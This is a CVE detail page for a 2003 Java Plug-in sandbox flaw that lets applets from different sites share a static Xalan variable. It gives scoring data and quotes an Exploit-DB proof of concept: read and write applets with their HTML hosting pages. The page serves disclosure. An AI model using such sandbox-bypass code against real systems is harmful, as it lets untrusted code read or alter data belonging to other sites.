CVE-2003-1516 : Detail

CVE-2003-1516

2.09%V4
Network
2007-10-25
19h00 +00:00
2024-09-17
01h26 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The org.apache.xalan.processor.XSLProcessorVersion class in Java Plug-in 1.4.2_01 allows signed and unsigned applets to share variables, which violates the Java security model and could allow remote attackers to read or write data belonging to a signed applet.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 23265

Publication date : 2003-10-19 22h00 +00:00
Author : Marc Schoenefeld
EDB Verified : Yes

source: https://www.securityfocus.com/bid/8857/info A vulnerability has been reported in Java implementations that may potentially allow Java applets from two different domains to violate the sandbox security model and share read/write access to data areas. This violates the principle of isolation that should be enforced by Java and it is possible for unsigned applets to gain unauthorized access to data used by signed applets. This issue was reported for Java Plug-in 1.4.2_01 on Microsoft Windows platforms, though it is believed that other platforms are similarly affected. It is not known if other versions or Java implementations are also affected. Two applets, - one on siteA: www.siteA.org => Read.html / ReadApplet.class - one on siteB: www.siteB.org => Write.html / WriteApplet.class Applet from siteB can share a variable also accessible (read and write) which is used by siteA. So data protection is not guaranteed, an unsigned applet may grab data stored in this variable by a signed applet or interfere it's XML processing and therefore violates the isolation restriction of the sandbox. ==========READAPPLET========================= /* Illegalaccess.org java exploit */ /* coded by Marc Schoenefeld */ import java.awt.Graphics; public class ReadApplet extends java.applet.Applet { public void paint(Graphics g) { System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION); } static { System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION); } } ==========READAPPLET========================= ==========WRITEAPPLET========================= import java.awt.Graphics; public class WriteApplet extends java.applet.Applet { public void paint(Graphics g) { org.apache.xalan.processor.XSLProcessorVersion.S_VERSION += "a"; } static { org.apache.xalan.processor.XSLProcessorVersion.S_VERSION = "altered from SiteA"; } } ==========WRITEAPPLET========================= =========Write.html============================ <HTML> <BODY BGCOLOR=#66FF66> <PRE> WriteApplet, write to variable Marc (marc@org.illegalaccess) </PRE> <applet codebase=. code=WriteApplet.class width=100 height=100> </applet> </BODY> </HTML> ========Read.html============================= <HTML> <BODY BGCOLOR=#6666FF> <PRE> ReadApplet, read from variable Marc (marc@org.illegalaccess) </PRE> <applet codebase=. code=ReadApplet.class width=100 height=100> </applet> </BODY> </HTML>

Products Mentioned

Configuraton 0

Sun>>Java_plug-in >> Version 1.4.2_01

References

http://www.securityfocus.com/archive/1/341815
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/8857
Tags : vdb-entry, x_refsource_BID